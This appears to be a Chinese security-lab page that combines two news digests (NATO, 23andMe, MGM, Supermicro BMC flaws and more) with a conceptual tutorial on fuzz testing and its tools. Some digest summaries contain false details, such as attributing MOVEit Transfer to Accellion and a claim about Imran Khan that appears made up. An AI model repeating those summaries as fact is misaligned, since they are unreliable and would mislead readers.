1、北约遭黑客组织SiegedSec攻击泄露文件 https://securityaffairs.com/152007/hacking/nato-investigating-new-siegedsec-attack.html 北约官方表示，正在调查一个名为SiegedSec的黑客组织声称对其系统进行的网络攻击，并在网上泄露了一批未分类的文件。这些文件涉及高超音速武器、无人机威胁、放射性废物测试等话题。北约表示，这些事件只影响了一些未分类的北约网站，没有影响北约的任务、行动和军事部署。北约还表示，已经采取了额外的网络安全措施，并且认真对待网络威胁。SiegedSec是一个以政治动机为驱动的黑客组织，曾经多次攻击美国的州和地方政府网站。该组织在 2、加沙黑客组织Storm-1133攻击以色列能源和国防部门 https://thehackernews.com/2023/10/gaza-linked-cyber-threat-actor-targets.html 微软在其第四届数字防御报告中披露了一个名为Storm-1133的加沙地带的威胁行为者，针对以色列的私营能源、国防和电信组织发起了一系列网络攻击。微软认为，这个组织是为哈马斯(加沙地带的实际执政权力)的利益服务，因为其攻击的对象主要是哈马斯认为敌对的组织。这些对象包括以色列能源和国防部门，以及忠于法塔赫(巴勒斯坦民族主义和社会民主政党)的实体。Storm-1133的攻击链涉及社会工程学和LinkedIn上的伪造个人资料，这些个人资料伪装成以 3、Google新反垃圾邮件规则或影响Microsoft 365邮件 https://www.bleepingcomputer.com/news/security/microsoft-365-admins-warned-of-new-google-anti-spam-rules/ Google在其官方博客中宣布，将于2023年10月18日开始执行一项新的反垃圾邮件规则，该规则可能会影响Microsoft 365管理员和用户收到的电子邮件。该规则要求所有发送到Gmail的电子邮件必须使用DMARC(域名消息验证报告和遵从)协议进行身份验证，否则将被标记为垃圾邮件或拒绝。DMARC是一种电子邮件身份验证协议，旨在防止欺诈和欺骗性的电子邮件，例如钓鱼和伪造。DMAR 4、Flagstar Bank三年内第三次遭遇数据泄露 https://www.bleepingcomputer.com/news/security/third-flagstar-bank-data-breach-since-2021-affects-800-000-customers/ Flagstar Bank是一家美国的金融机构，拥有超过150个分支机构，服务于消费者和企业客户。该银行在2021年和2022年分别遭受了两次严重的数据泄露事件，影响了约150万客户的个人信息，包括姓名、电话号码、社会安全号和税务记录。这些事件都与Accellion的文件传输软件MOVEit Transfer有关，该软件存在一个已被修复的零日漏洞，被俄罗斯的勒索 5、土耳其黑客团队宣称攻击美国中部银行 https://thecyberexpress.com/mid-america-bank-cyberattack-by-turk-hack-team/ 美国中部银行(Mid America Bank)近日遭到土耳其黑客团队(Turk Hack Team)的网络攻击，导致其官方网站被篡改，显示出一些反美和亲土耳其的信息。据报道，这次攻击是土耳其黑客团队为了纪念2016年7月15日土耳其未遂政变而发起的一系列网络行动的一部分。该黑客团队在其数据泄露网站上宣称，他们已经入侵了美国中部银行的数据库，并威胁要公开其中的敏感信息，除非美国政府向土耳其道歉。美国中部银行是一家总部位于威斯康星州的社区银行， 6、AWS将于2024年起对所有高权限账户启用MFA https://www.infosecurity-magazine.com/news/aws-multifactor-authentication-2024/ AWS是亚马逊旗下的云计算服务提供商，拥有数百万的客户和用户。为了提高客户环境的默认安全性和降低账户被劫持的风险，AWS宣布将于2024年中期开始，对所有高权限账户(如根用户)强制要求使用MFA。MFA是一种增强账户安全的简单有效的方法，它可以在用户登录时要求输入额外的验证信息，如密码、验证码或安全密钥，从而防止未经授权的个人访问系统或数据。AWS表示，将通过多种渠道通知需要启用MFA的客户，并在他们登录控制台时提示他们即将发生的变化 7、Curl库10月11日修复两个被利用的漏洞 https://thehackernews.com/2023/10/security-patch-for-two-new-flaws-in.html Curl库是一个用于传输数据的流行命令行工具，支持多种协议，如FTP、HTTP、IMAP等。该库的维护者发布了一个预警，称将在10月11日发布更新，修复两个已被利用的安全漏洞。这两个漏洞分别被标记为CVE-2023-38545和CVE-2023-38546，严重程度分别为高和低。由于担心泄露信息可能会帮助攻击者准确地识别出问题所在，维护者没有透露漏洞的具体细节和受影响的版本范围。但据称，该库的近几年的版本都存在问题。CVE-2023-38545 8、巴以冲突舆论、网络战同时开打，多国黑客组织下场 https://www.freebuf.com/news/379971.html 在双方热战的同时，巴以双方的舆论战及网络战也同时打响。 9、QAKBOT 威胁行为者在 8 月下架后仍在运行 https://securityaffairs.com/152087/cyber-crime/qakbot-threat-actors-still-operational.html QakBot 恶意软件背后的威胁行为者仍然活跃，自 8 月以来，他们正在开展网络钓鱼活动，提供 Ransom Knight 勒索软件和 Remcos RAT。 10、美国国家安全局即将设立人工智能安全中心 https://zhuanlan.kanxue.com/article-24584.htm 美国网络司令部司令兼国家安全局局长保罗•中曾根（Paul M. Nakasone）表示，美国国家安全局（NSA）将设立人工智能安全中心，该中心致力于监督美国国家安全系统中人工智能能力的开发和整合。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

0x01 什么是模糊测试 模糊测试（Fuzz Testing）是一种广泛用于软件安全和质量测试的自动化测试方法。它的基本思想是向输入参数或数据中注入随机、不规则或异常的数据，以检测目标程序或系统在处理不合法、不正常或边缘情况下的行为。模糊测试通常用于寻找软件漏洞、安全漏洞和崩溃点，以改进软件的稳定性和安全性。 0x02 基本原理和组成 1.基本原理 基本思想 模糊测试的思想是构造所有可能的输入，并将输入传递给被测目标程序，然后监控目标程序在接收输入后是否出现异常情况，以此来发现软件中存在的缺陷和故障。 构造输入 -> 输入 -> 监控状态 -> 判断异常 -> 报告 抓住了大程序开发的痛点，一定程度上提升了安全测试的效率。 基本概念 其中内容加粗体的属于概念。在此我用简单的话语诠释其中的关系。 给一个简单的图阐释关系，可以配合文字理解。 模糊测试通常包括模糊测试实例，而模糊测试实例包括了两个重要元素：数据集合和程序执行路径。 数据集合即输入数据的集合，程序执行路径指的是程序指令序列和对应的内存和寄存器状态。 我们再分开谈谈数据集合和程序执行路径。 数据集合的元素由数据组成，数据包括数据的取值和输入条件（网络输出或窗口输出）。 程序执行路径由执行状态和执行状态的支配关系组成。执行状态包括了二进制指令（比如此时是mov rax,1）和内存与寄存器状态的集合（比如此时rbx = 0, rcx = 1 ……内存中0x404080 = '\x90'）。支配关系指的是下一个到哪里，条件判断等等。 套娃结束了，接下来就是程序异常、异常执行路径，等价执行路径，测试用例集合，测试用例序号，异常测试用例，等价测试用例。 程序异常：程序异常是在程序执行过程中出现的不正常行为，通常导致程序崩溃、错误或漏洞暴露。模糊测试的目标之一是发现程序异常。 异常执行路径：异常执行路径是程序在异常情况下的执行路径，它包括了导致异常的条件和操作序列。模糊测试可以通过检测异常执行路径来发现潜在的漏洞。 等价执行路径：等价执行路径是指在不同输入情况下，程序可能会采取相似或等效的执行路径。理解等价执行路径有助于减少测试用例的冗余。 测试用例集合：测试用例集合包含了多个测试用例，每个测试用例都是一个输入数据和对应的测试条件的组合。模糊测试通常会生成大量的测试用例，以检测各种可能的情况。 测试用例序号：测试用例序号是测试用例在测试用例集合中的唯一标识，用于跟踪和管理测试进度和结果。 异常测试用例（Exception Test Case）： 异常测试用例是用于测试软件系统如何处理异常情况的测试实例。 这些异常情况可能包括输入无效数据、越界访问、不合法的操作、资源不足等。 目标是验证软件是否能够优雅地处理这些异常，而不会导致崩溃或不正常行为。 例如，一个异常测试用例可能是尝试输入一个非数字字符到一个要求输入数字的字段中，以测试程序是否能够捕获和处理这种非法输入。 等价测试用例（Equivalence Test Case）： 等价测试用例是用于测试软件系统在不同输入情况下是否表现相似或等效的测试实例。 这些测试用例通常分为等效类别，每个等效类别代表一组具有相似特征的输入数据。 目标是在每个等效类别中选择一个或多个测试用例，以代表该类别的所有可能输入情况。 通过这种方式，测试用例集合可以更全面地覆盖各种输入情况，而不必测试每个可能的输入。 例如，对于一个登录功能，等价测试用例可以包括一个有效的用户名和密码组合、一个无效的用户名和有效的密码组合，以及一个有效的用户名和无效的密码组合，以代表不同的等效类别。 简单说，测试用例是用于测试软件系统的具体实例，异常测试用例用于验证异常情况的处理，而等价测试用例用于覆盖不同等效类别的输入情况，以确保软件在各种情况下都能正确运行。有效的测试用例设计是软件测试的关键，它有助于发现潜在问题并提高软件的质量。 2.系统组成 模糊测试分为测试数据生成，数据交互与控制，测试结果反馈三个阶段。 测试数据生成->数据交互与控制->测试结果反馈 根据这些过程，对应着模糊测试一般分为三个模块：数据生成模块，环境控制模块和状态监控模块。 模糊测试通常分为三个关键模块，即数据生成模块、环境控制模块和状态监控模块。这些模块在模糊测试中起着不同但关键的作用： 数据生成模块： 用途：数据生成模块的主要目标是生成模糊测试用例，这些测试用例将用作目标程序或系统的输入。这些测试用例通常包括各种异常、不合法或随机的数据，以检测程序在面对不正常输入时的反应。 方法：数据生成模块可以使用多种技术来创建测试用例，包括但不限于以下几种： 随机生成：生成随机数据，包括字符、数字、二进制数据等。 模式匹配：根据已知的数据模式或协议规范生成数据。例如，HTTP请求中的URL、参数和头部可以按照HTTP协议规范生成。 变异：基于已有的有效输入，通过添加、删除或修改数据的方式来生成测试用例，使其变得不正常或异常。 基于语法的生成：使用语法规则来生成数据，确保生成的数据符合语法结构，如JSON、XML等。 环境控制模块： 用途：环境控制模块负责模拟测试环境，包括目标程序的运行环境以及可能的外部条件，如网络、文件系统等。它确保模糊测试过程中的环境是可控制和可复制的。 方法：环境控制模块可以采用以下方法来实现环境模拟和控制： 虚拟化：在虚拟环境中运行目标程序，以隔离测试过程，确保系统稳定性和安全性。 模拟网络环境：模拟不同网络条件，如高延迟、丢包等，以测试程序在不同网络条件下的表现。 文件系统操作：模拟文件操作，包括文件创建、删除、修改等，以测试程序对文件操作的鲁棒性。 资源限制：限制CPU、内存和网络带宽等资源，以模拟资源受限的情况。 状态监控模块： 用途：状态监控模块用于监视目标程序的执行状态和异常情况。它捕获程序的行为，包括崩溃、错误、异常输出等，并将这些信息用于后续的分析和报告。 方法：状态监控模块可以采用以下方法来监控目标程序的状态： 日志记录：记录程序的输出、错误消息和运行时信息，以便后续分析。 异常检测：监测程序是否发生崩溃或异常，例如，通过监视进程是否终止或产生错误代码。 内存分析：检查程序的内存使用情况，以发现内存泄漏或非法内存访问。 性能分析：监控程序的性能指标，如响应时间、CPU利用率等，以评估程序的性能稳定性。 鲁棒性（Robustness）是计算机科学和软件工程领域的一个重要概念，它指的是系统或软件在面对异常或不正常输入、外部条件或行为时能够保持稳定性和可靠性的能力。 值得一提：有关状态监控模块的处理 状态监控模块在捕获异常时需要对测试对象异常的三种情况进行分别处理： 被测试对象内置的异常处理流程捕获的异常：这种异常情况是指目标程序或系统能够识别和捕获异常，并按照其内置的异常处理流程来处理。这些异常通常不会导致程序崩溃，因为它们得到了适当的处理。这类异常情况通常不会揭示漏洞，因为程序已经处理了异常情况。 无法被测试对象内置的异常处理捕获的，但因异常被中断执行的异常：这种异常情况是指目标程序或系统无法正确捕获或处理异常，但异常的出现导致了程序的中断或崩溃。尽管程序崩溃，但这些异常情况通常具有更高的价值，因为它们表明存在漏洞或错误，可能需要进行修复。 无法被测试对象内置的异常处理捕获的，但异常不被中断执行，导致非预期的结果的异常：这种异常情况是指异常没有导致程序的崩溃，但却引发了程序内部的非预期行为或错误结果。这类异常情况同样具有较高的价值，因为它们可能揭示了潜在的漏洞或问题，尤其是在用户体验和系统可靠性方面。 其中，后两种异常情况更有价值，因为它们通常指示了潜在的漏洞或问题，这些问题可能需要开发人员的关注和修复，以提高系统的鲁棒性和稳定性。模糊测试的目标之一就是发现并报告这些异常情况，以帮助改进软件的质量。 0x03 基础方法技术 数据生成方法 1.基本类型数据生成方法 预定义序列： 经验数据：经验数据是基于先前的测试经验或实际使用中的数据样本来定义的。它们通常反映了一组合理的、常见的或已知的输入值。经验数据有助于测试基础功能，确保软件在正常情况下运行。例如，对于一个登录页面，经验数据可能包括一组有效的用户名和密码组合。 特别数据：特别数据是为了测试特定边界条件或较少常见情况而定义的数据。这些数据通常不符合常规输入，但可能会揭示潜在问题。例如，测试一个计算器应用程序时，特别数据可能包括除以零的情况。 随机数序列： 随机数序列是根据随机性生成的一系列数字。它们广泛用于模糊测试，因为它们可以模拟未知或不可预测的输入情况。随机数序列可以包括整数、浮点数或其他数字类型。 随机数生成器可以根据不同的分布（如均匀分布、正态分布等）生成随机数。在模糊测试中，可以指定随机数的范围和分布来控制生成的数据。 小数值覆盖大数值： 这是一种测试策略，其中测试用例倾向于包括较小的数值，以测试系统对较小值的处理。这是因为较小的值可能更容易导致不正常行为，如除以零或下溢。 例如，在测试一个计算器应用程序时，可以生成一系列小于1的随机浮点数来检查除法操作的鲁棒性。 2.复合类型数据生成方法 文件、网络数据包分别按照文件格式网络协议格式将基本类型数据组合成符合类型数据。 文件生成： 对于文本文件，可以创建一个文本文件对象，然后将字符串数据写入文件。在不同的编程语言中，有文件写入和操作的库和函数可供使用。 对于二进制文件，可以使用二进制文件的格式规范来构建文件头和内容部分，然后将它们写入文件。 网络数据包生成： 根据特定的网络协议规范，创建网络数据包对象。这可以包括数据包头和数据包主体。 在各种编程语言中，有库和工具可用于构建和编码网络数据包，如struct模块（Python）、ByteBuffer（Java）等。 XML和JSON生成： 对于XML，可以使用XML解析库或API创建XML文档对象，然后添加元素和属性。 对于JSON，可以创建JSON对象，包括键值对和嵌套的数组和对象。 数据库记录生成： 使用数据库连接库或ORM（对象关系映射）工具创建数据库记录对象。不同的编程语言和数据库系统有不同的方法来操作数据库。 设置记录的字段值，然后执行插入或更新操作。 HTML生成： 创建HTML文档对象，然后使用HTML标签和属性来构建文档。 在许多编程语言中，可以使用字符串拼接或HTML构建库来构建HTML文档。 复杂对象生成： 根据数据结构的定义，构建复杂的数据对象。这可能涉及创建嵌套的数据结构、图形对象等。 使用编程语言的数据结构和面向对象编程的功能来创建对象。 3.多阶段交互类型数据生成方法 当测试对象向外界提供服务的过程包含多次数据交互时，客户端与服务端的数据包必须根据对方的请求与相应进行构造，双方按照协议约定的过程按次序发送数据。多阶段交互类型数据生成方法用于模拟具有多次数据交互的复杂场景，通常在客户端和服务端之间进行数据包的交互。这种方法模拟了真实世界中的数据通信过程，涵盖了多个阶段的数据生成和交互，以测试系统的互操作性和完整性。 简单来说就是通过交互进行数据生成。 以下是多阶段交互类型数据生成方法的一般步骤： 定义交互协议： 首先，需要明确定义客户端和服务端之间的交互协议。这包括请求和响应的消息格式、顺序、字段和协议规范。 生成请求数据： 从客户端的角度开始，生成符合协议规范的请求数据包。这可能包括构建请求头、请求体、参数等信息。 发送请求： 将生成的请求数据发送到服务端，模拟客户端向服务端发出请求。 解析请求： 在服务端接收到请求后，解析请求数据包，检查其有效性和合法性。服务端需要遵循协议规范来处理请求。 生成响应数据： 根据接收到的请求，服务端生成符合协议规范的响应数据包。这包括构建响应头、响应体、状态码等信息。 发送响应： 将生成的响应数据发送回客户端，模拟服务端对客户端的响应。 解析响应： 客户端接收到响应后，解析响应数据包，验证响应是否符合协议规范。 继续交互： 根据协议规范，可能需要进行多轮的数据交互。客户端和服务端依次生成请求和响应，模拟多阶段的交互。 结束交互： 最后，根据测试需求，可以结束交互并生成测试报告，分析交互期间发现的问题和异常。 多阶段交互类型数据生成方法可以帮助测试人员或工具模拟复杂的数据通信场景，以确保系统在实际使用中能够正确处理多个数据交互步骤。这对于测试网络应用程序、通信协议、API等非常重要，因为它可以发现系统中的互操作性问题、数据丢失、顺序错误等潜在问题。 环境控制技术 1.运行环境控制技术 运行环境控制技术在模糊测试中扮演着重要的角色，它涉及到管理和控制模糊测试的执行环境，以确保测试的可控性和可重复性。 简单来说就是构建一个符合测试实际的环，能够控制和维护，并且进行恢复的技术。 构建环境->控制和维护->恢复 以下是关于运行环境控制技术的一些常见内容： 虚拟化和容器化： 使用虚拟机或容器技术可以创建隔离的测试环境，使测试过程不会对实际系统产生影响。 通过虚拟化或容器化，可以轻松创建多个独立的测试环境，每个环境可以运行不同的测试用例。 快照和还原： 创建运行环境的快照，以记录环境的状态和配置。在测试结束后，可以还原环境到快照状态，确保每次测试都从相同的起点开始。 这对于确保可重复性和排查问题非常有用。 资源隔离： 控制测试过程中的资源使用，以避免测试对主机系统的影响。 可以限制CPU、内存、网络带宽等资源的使用，确保测试不会导致系统崩溃或不稳定。 环境变量控制： 通过设置环境变量，可以控制测试过程中使用的配置和参数。这包括路径、文件配置、网络地址等。 确保测试环境与实际环境的配置一致。 随机性控制： 有时模糊测试需要随机生成输入数据，但也可能需要控制随机性，以确保测试可控。 可以使用种子值来控制伪随机数生成器的行为，以在多次测试中生成相同的随机数据。 日志和监控： 记录测试过程中的日志和监控数据，以便后续分析和排查问题。 这包括记录测试用例、异常情况、资源利用率等信息。 恢复机制： 在测试过程中，可能会发生不正常的情况，如崩溃或异常。具备恢复机制可以在测试中自动处理这些问题，使测试能够继续进行。 并发和分布式测试： 在模糊测试中，可能需要同时执行大量测试用例，使用并发和分布式测试可以提高测试效率。 这涉及到控制多个测试实例的协同工作，确保它们不会相互干扰。 运行环境控制技术的目标是确保模糊测试的可控性、可重复性和安全性。通过这些技术，可以更好地管理测试环境，从而更有效地发现潜在的问题和漏洞。 2.程序运行控制技术 程序启动和终止： 控制模糊测试程序的启动和终止，确保它可以在需要时启动，以及在测试结束后正确终止。 暂停和继续： 允许在测试过程中暂停 fuzz 测试程序的执行，以便检查状态、调试问题或进行其他操作。之后可以继续执行测试。 调试和修改： 提供调试功能，允许测试人员在运行时检查程序状态、变量值和执行路径，以排查问题。 在需要时，还可以修改程序的行为，例如修改输入数据、修改配置或注入调试语句。 进程句柄控制： 使用进程句柄，可以监控和控制 fuzz 测试程序的执行。这包括获取进程状态、发送信号、终止进程等。 API接口： 提供各种API接口，以便外部程序与 fuzz 测试程序进行通信和控制。这些接口可以用于启动测试、发送测试用例、检索测试结果等。 3.数据强制输入技术 Fuzz测试的数据强制输入技术是用于将模糊测试生成的测试数据传递给目标程序的方法。这些技术涵盖了多个方面，包括网络数据输入、文件数据输入、用户操作输入以及内存数据修改。 分别用于网络、文件、图形用户界面和内存攻击。 以下是关于这些技术的详细说明： 网络数据输入技术： 在网络数据输入技术中，模糊测试工具通过模拟网络通信方式将生成的测试数据发送给目标程序。这通常涉及以下步骤： 网络形式强制发送：工具使用适当的网络协议连接到目标程序，按照协议规范将测试数据发送给目标。 连接协议：模糊测试工具使用与目标程序通信所需的协议，例如HTTP、FTP、SMTP等。 数据包构造：根据协议规范构造符合格式的数据包，将测试数据包含在数据包中。 这种方法适用于测试网络应用程序、服务器、通信协议等，以验证它们对不规范或恶意输入的鲁棒性。 文件数据输入技术： 文件数据输入技术用于将生成的测试数据传递给目标程序的方式，通常通过文件传递。这包括以下方法： 命令行参数传入：模糊测试工具将测试数据作为命令行参数传递给目标程序。 进程交互机制：工具可以通过与目标程序的进程进行交互，将数据传递给正在运行的程序。 文件读取：测试工具可以创建临时文件，将测试数据写入文件，然后通过文件读取操作将数据提供给目标程序。 这种方法适用于测试本地应用程序、命令行工具等，以验证它们对不同数据源的处理。 用户操作输入技术： 用户操作输入技术模拟用户与目标程序进行交互的方式，包括模拟鼠标、键盘输入和其他用户界面操作。这包括以下方法： 模拟鼠标和键盘输入：工具模拟用户通过键盘输入文本、通过鼠标点击按钮或执行其他用户界面操作，将测试数据输入到目标程序中。 这种方法适用于测试图形用户界面（GUI）应用程序，以验证它们对用户输入的鲁棒性。 内存数据修改技术： 内存数据修改技术允许模糊测试工具直接在目标程序的内存中修改数据，以模拟恶意攻击或异常情况。这包括以下方法： 直接在内存中进行修改：工具通过访问目标程序的内存空间，修改特定的内存位置，注入测试数据或更改程序状态。 这种方法通常用于测试漏洞、缓冲区溢出等安全问题，以评估程序的鲁棒性。 这些数据强制输入技术允许模糊测试工具将测试数据传递给目标程序，以评估程序的鲁棒性和安全性。根据测试目标和应用程序的性质，可以选择适当的技术来进行模糊测试。 状态监控技术 状态监控技术在模糊测试中起着关键作用，它允许测试人员监控目标程序的生命周期、执行状态、异常状态以及输入输出，从而更好地评估程序的鲁棒性和安全性。以下是关于这些监控技术的简要说明： 生命周期监控技术： 生命周期监控技术用于追踪目标程序的整个生命周期，包括启动、执行和终止阶段。 实现方法： 启动和终止：监控程序的启动和终止，可以通过记录程序的启动时间和结束时间来实现。 进程监控：使用操作系统提供的工具或库来监控目标程序的进程，以确保它始终处于活动状态。 日志记录：记录程序的运行日志，包括启动和终止事件，以便进行后续分析。 输入输出监控技术： 输入输出监控技术用于捕获目标程序与外部环境的数据交互，包括输入数据和输出结果。 实现方法： 输入捕获：截获模糊测试工具生成的输入数据，包括网络数据、文件数据、用户操作等。 输出监控：捕获目标程序的输出结果，包括响应数据、日志、错误信息等。 数据流追踪：使用数据流分析工具来追踪输入数据在程序内部的处理过程，以检测数据修改或异常行为。 执行状态监控技术： 执行状态监控技术用于实时监控目标程序的执行状态，以检测异常行为和问题。 实现方法： 异常检测：监控程序的执行过程，检测是否出现异常情况，如崩溃、死锁、超时等。 内存检查：定期检查程序的内存使用情况，以检测内存泄漏或溢出问题。 CPU利用率：监控程序的CPU利用率，以确定是否存在高负载情况。 这些监控技术可以通过使用各种工具和库来实现，具体方法取决于测试环境和测试工具的要求。通过监控目标程序的生命周期、输入输出和执行状态，测试人员可以及时发现异常情况并进行更准确的控制和分析，以提高模糊测试的效率和效果。 0x04 模糊测试优化方法 让我分别解释一下这些方法： 灰盒模糊测试： 灰盒模糊测试是介于白盒（静态分析）和黑盒（仅关注输入输出）之间的一种测试方法。 在灰盒模糊测试中，测试人员或工具通常会逆向工程目标程序，分析其内部结构和逻辑，以更好地理解程序的运行方式。 然后，根据这些了解，有针对性地生成测试用例，限定字段值或者注重测试一些关键路径和敏感函数，以提高发现漏洞的机会。 白盒模糊测试： 白盒模糊测试进一步加强了灰盒测试的概念，引入了符号执行等高级分析技术。 在白盒模糊测试中，测试工具会使用逆向工程技术分析目标程序的源代码、控制流、数据流等内部信息。 这些信息用于构建符号执行模型，以理解程序的执行路径，然后生成测试用例，以测试这些路径。 白盒模糊测试可以更全面地覆盖程序的各种执行路径，从而提高漏洞的发现概率。 基于反馈的模糊测试： 基于反馈的模糊测试方法侧重于收集和分析测试过程中产生的反馈信息，以优化后续测试用例的生成。 在此方法中，测试工具会统计分析模糊测试用例的特征和测试结果的特征。 使用这些信息，测试工具可以动态地调整测试用例生成策略，以生成更有潜力的测试用例，进一步提高发现漏洞的效率。 这种方法通常使用统计方法（如u测试）来分析和调整测试用例的生成，从而实现智能的测试。 这些高级模糊测试方法旨在通过更深入的分析和优化来提高模糊测试的效率和效果。它们通常需要更多的专业知识和复杂的工具支持，但可以在发现漏洞方面取得更好的结果。选择哪种方法通常取决于测试目标、测试环境和可用资源。 0x05 工具推荐 这里有几种与模糊测试相关的工具和技术，包括AFL-Unicorn、Qiling、SlowFuzz、PerfFuzz、以及AFL++的QEMU和Unicorn模式。让我们来看看它们的优点、缺点以及双重作用： AFL-Unicorn:   优点： 允许将American Fuzzy Lop（AFL）与Unicorn引擎结合使用，从而能够对更广泛的目标进行模糊测试。 具有高度可定制性，用户可以为目标二进制文件创建自定义的Unicorn插件。   缺点： 复杂性较高，需要熟悉AFL和Unicorn。 需要较多的配置和调试。 Qiling:   优点： 可以模拟多种操作系统，包括Linux、Windows等，使其具有广泛的应用。 允许用户在用户模式和内核模式下进行模糊测试。   缺点： 需要深入了解操作系统的内部工作原理，以进行高效的模糊测试。 需要额外的配置和学习曲线。 SlowFuzz:   优点： 采用基于符号执行的方法，具有较高的漏洞发现潜力。 能够在更广泛的输入空间中搜索漏洞。   缺点： 符号执行速度较慢，可能需要更多的时间来执行测试。 可能需要更多的计算资源。 PerfFuzz:   优点： 利用性能计数器（Performance Counters）来导向模糊测试，从而提高了测试效率。 可以更快地发现性能敏感漏洞。   缺点： 对于一些非性能相关的漏洞，可能不够敏感。 对于某些平台，可能需要额外的硬件支持。 AFL++的QEMU和Unicorn模式:   优点： 可以使用AFL++与QEMU或Unicorn引擎结合，提供了广泛的目标支持。 AFL++改进了原始AFL的性能和功能，提供了更好的模糊测试体验。   缺点： 需要一定的配置和学习曲线。 在某些情况下，可能需要更多的计算资源。 这些工具和技术各有优点和缺点，选择哪一个取决于具体需求和目标。例如，如果需要测试多个操作系统，Qiling可能是一个不错的选择。如果关注性能敏感漏洞，PerfFuzz可能更合适。另外，一些工具可以结合使用，以充分发挥各自的优势。最终，选择合适的工具取决于您的具体测试场景和资源可用性。 0x06 尾声 阅读到这里我们简单了解了模糊测试（Fuzz Testing）的各个方面，包括其基本概念、方法和相关技术。模糊测试作为一种强大的测试方法，具有广泛的应用领域，可用于发现软件漏洞、提高安全性和质量。 我们深入了解了模糊测试的基本要素，包括测试用例、异常测试用例和等价测试用例，以及数据集合和程序执行路径。这些概念构成了模糊测试的基础。探索了模糊测试的不同阶段，包括测试数据生成、数据交互与控制、测试结果反馈，以及这些阶段的关联模块和技术。这些阶段共同构建了模糊测试的全貌。 此外，我们介绍了一些高级模糊测试技术，如灰盒模糊测试、白盒模糊测试和基于反馈的模糊测试，以及它们的应用和优势。并且最后，推荐了一些相关工具及其优劣。 接下来，让我们把主动权交回你的手里，去探索更广阔的网络安全世界吧！

1、23andMe用户数据被盗，涉及数百万用户 https://www.bleepingcomputer.com/news/security/genetics-firm-23andme-says-user-data-stolen-in-credential-stuffing-attack/ 23andMe是一家提供基因检测服务的公司，用户可以通过唾液样本来了解自己的遗传特征和健康风险。最近，该公司证实，其部分用户的数据被黑客窃取，并在黑客论坛上公开和出售。该公司表示，这是一次“凭证填充攻击”，即黑客利用其他网站泄露的用户名和密码来尝试登录23andMe的用户账户。该公司称，其系统没有被入侵，而是黑客通过猜测一部分用户的登录凭证，然后利用一 2、MGM遭受勒索软件攻击，影响多个系统和服务 https://securityaffairs.com/152077/cyber-crime/mgm-resorts-ransomware-attack.html MGM度假村国际(MGM Resorts International)是一家全球知名的酒店和赌场运营商，拥有多个品牌和地点，如贝拉吉奥(Bellagio)、美高梅大酒店(MGM Grand)、曼德勒湾(Mandalay Bay)等。最近，该公司发现了一起严重的网络安全事件，导致其部分网络系统被关闭，以保护其系统和数据。据报道，该事件是由一个名为Scattered Spider的黑客组织发起的一场勒索软件攻击，该组织使用了一个名为B 3、Storm-0324利用微软Teams发送钓鱼邮件并部署勒索软件 https://gbhackers.com/storm-0324-abusing-microsoft-teams/ Storm-0324是一个以金钱为驱动的威胁行为者组织，最近被发现利用微软Teams发送钓鱼邮件，试图获取受害者系统的初始访问权限。该组织过去曾被指控发送包含远程代码执行的钓鱼邮件，以便在感染的系统上执行恶意操作。在获得访问权限后，Storm-0324通常会将其出售给TA543和著名的勒索软件组织Sangria Tempest(也被称为FIN7，Carbon Spider)，后者经常利用这些访问权限进行勒索软件攻击。研究人员表示，该组织最新的攻击技术针对那些使用Teams IM 4、超微BMC固件多个高危漏洞可导致权限提升和恶意代码执行 https://thehackernews.com/2023/10/supermicros-bmc-firmware-found.html 超微公司是一家专业生产服务器主板的公司，其基板管理控制器(BMC)的智能平台管理接口(IPMI)固件被发现存在多个高危漏洞，这些漏洞可能导致受影响系统上的权限提升和恶意代码执行。这些漏洞共有七个，编号为CVE-2023-40284至CVE-2023-40290，严重程度从高到临界不等，根据研究人员的报告，这些漏洞可以让未经授权的攻击者以BMC用户的身份执行任意JavaScript代码，或者以具有管理员权限的用户身份执行操作系统命令。超微公司已经发布了BM 5、以色列总统Telegram账号被黑客入侵 https://www.darkreading.com/dr-global/suspected-crime-gang-hacks-israeli-president-telegram-account 以色列总统赫尔佐格的Telegram账号近日遭到了一个疑似犯罪团伙的黑客入侵。据报道，这次黑客攻击与一起在线诈骗案有关，黑客利用了Telegram的一个漏洞，通过发送恶意链接来窃取用户的登录凭证。在黑客入侵后不久，总统府发现并恢复了账号的访问权限，并表示没有任何敏感信息被泄露或损坏。目前尚不清楚黑客入侵总统账号的动机和目的，也不清楚他们是否与其他政治或恐怖组织有联系。总统府表示，已经向相关部门报 6、Facebook官方页面遭“Release Imran Khan”黑客攻击 https://www.hackread.com/facebooks-official-page-hacked-release-imran-khan/ Facebook的官方页面在10月7日遭到了一个名为“Release Imran Khan”的黑客组织的攻击。该组织在Facebook的页面上发布了一些带有反印度和亲巴基斯坦的口号和图片的帖子，要求释放巴基斯坦总理伊姆兰·汗，声称他被印度军队绑架。这些帖子很快就被删除，Facebook表示正在调查这起事件，并道歉给受影响的用户。“Release Imran Khan”是一个不知名的黑客组织，其背景和动机尚不清楚。研究人员认为，这可能是一个恶作 7、CDW公司与LockBit谈判失败，数据遭泄露威胁 https://www.theregister.com/2023/10/06/cdw_lockbit_negotiations/ CDW公司是全球最大的IT产品和服务经销商之一，近日遭到了LockBit黑客组织的攻击，导致其数据被窃取。LockBit是一个勒索软件团伙，专门对企业和机构进行加密和勒索攻击。据LockBit的一位发言人称，CDW公司在谈判过程中提出了一个非常低的赎金金额，让黑客感到不满。因此，LockBit决定在10月11日早上公开CDW公司的数据。CDW公司尚未对这起事件发表任何评论，也没有向英国信息专员办公室(ICO)报告任何数据泄露事件。目前不清楚CDW公司的数据包含了哪 8、新窃密软件 NodeStealer 可以窃取所有浏览器 Cookie https://www.freebuf.com/articles/network/378700.html Netskope 的研究人员正在跟踪一个使用恶意 Python 脚本窃取 Facebook 用户凭据与浏览器数据的攻击行动。攻击针对 Facebook 企业账户，包含虚假 Facebook 消息并带有恶意文件。攻击的受害者主要集中在南欧与北美，以制造业和技术服务行业为主。 9、全球网络安全专家联名抗议欧盟“24 小时”漏洞披露规定 https://www.secrss.com/articles/59386 来自 Google、电子前沿基金会、CyberPeace Institute、ESET、Rapid7、Bugcrowd 和趋势科技等多个组织的数十位网络安全专家联名签署并发表了一封公开信，反对欧盟《网络韧性法案》中关于“漏洞利用后24 小时内披露”的要求，声称该漏洞披露规定会适得其反，制造新的威胁，并损害数字产品及其用户的安全。 